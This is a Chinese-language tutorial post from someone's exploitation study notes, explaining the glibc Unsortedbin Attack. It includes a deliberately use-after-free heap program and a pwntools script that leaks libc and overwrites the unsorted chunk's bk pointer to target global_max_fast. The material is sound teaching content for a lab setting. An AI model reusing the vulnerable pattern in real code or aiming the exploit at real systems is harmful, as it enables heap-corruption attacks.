当前位置: 首页 > article >正文

【我的 PWN 学习手札】Unsortedbin Attack

前言

Unsortedbin Attack不能说是一种getshell的方式,而只能说是一种利用手法。在glibc2.28之前有效,条件是存在uaf,效果是能在某一地址写一个大数(glibc上的一个地址)。 


一、Unsortedbin的unlink过程

unsortedbin 中 free chunk 的组织形式是双向链表,取出chunk时,有如下代码:

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

实现的操作是将 unsortedbin 中的最后一个chunk取出。main arena的对应 bk 就要只想 victim 的bck,同样,bck 的 fd 也要指向 main arena。

二、Unsortedbin Attack

如果我们利用 UAF 或者任意地址写,将 unsortedbin 将被 unlink 的 victim 的 bk 改为其他地址如target,那么会发生什么呢?

当进行上述操作时: 

 

换而言之,如果我们控制了 bk 的值,我们就能将 unsorted_chunks (av) 写到任意地址。通常可以利用此方法向 global_max_fast 写入一个较大的值,从而扩大 fastbin 范围,甚至 fastbins 数组溢 出造成任意地址写。

三、保护与检查 

(1)size检查 

if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
    || __builtin_expect (chunksize_nomask (victim) > av->system_mem, 0))
    malloc_printerr ("malloc(): memory corruption");

这个检查是对脱链的 free chunk(即 victim)检查的,本来就是 unsortedbin 链上的一块正常的chunk,因此天然来说是无误的。

(2)target可写

因为要往target写数值,所以这个条件也是必要的,因为如果该地址本来就不能写数值,又何来覆写一说? 

总上来说,条件很好满足。然而在glibc2.28及以后,对 bck 的 fd 指针进行了检查,所以此方法基本失效。

四、测试与模板

 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

gdb.attach(io)

# leak libc
add(0,0x100)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7c1ab1200000-0x7c1ab159bb78
success(hex(libc_base))

# Unsortedbin Attack
edit(0,0x10,p64(0)+p64(libc_base+libc.sym['global_max_fast']-0x10))
pause()
add(2,0x100)
pause()
io.interactive()

http://www.kler.cn/news/308504.html

相关文章:

  • Chrome谷歌浏览器登录账号next无反应
  • C++ 重点的关键字
  • vue嵌入第三方页面
  • Java中分布式锁
  • mac新手入门(快捷键)
  • Vue面试题4
  • 缺陷(Bug)的一生
  • 【iOS】UIViewController的生命周期
  • 校园管理系统创新:Spring Boot框架应用案例
  • 文心智能体 城市印象之漫行北京 开发分享
  • 大舍传媒-日本媒体发稿推荐今日东京tokyotoday
  • grep 命令:文本搜索
  • 无畏契约 (Valorant)YOLO 模型数据集
  • 在Unity UI中实现UILineRenderer组件绘制线条
  • 音视频直播应用场景探讨之RTMP推流还是GB28181接入?
  • 仓储管理系统的设计与实现SSM框架
  • python数据分析 pandas库-数据的读取和保存
  • 【Linux 从基础到进阶】KVM虚拟化配置与管理
  • unity3d入门教程四
  • SprinBoot+Vue宠物寄养系统的设计与实现
  • PCL 曲线点云提取
  • Qt常用控件——QTextEdit
  • FPGA编程指南: CSU DMA传输
  • el-table表格的展开行,初始化的时候展开哪一行+设置点击行可展开功能
  • Python爬虫之bs4模块用法
  • 如何用python做一个计算器
  • 基于AlexNet实现猫狗大战
  • 轻松上手Cursor,体验丝滑编程
  • springschedule定时任务
  • What is new in C# 7,8,9,10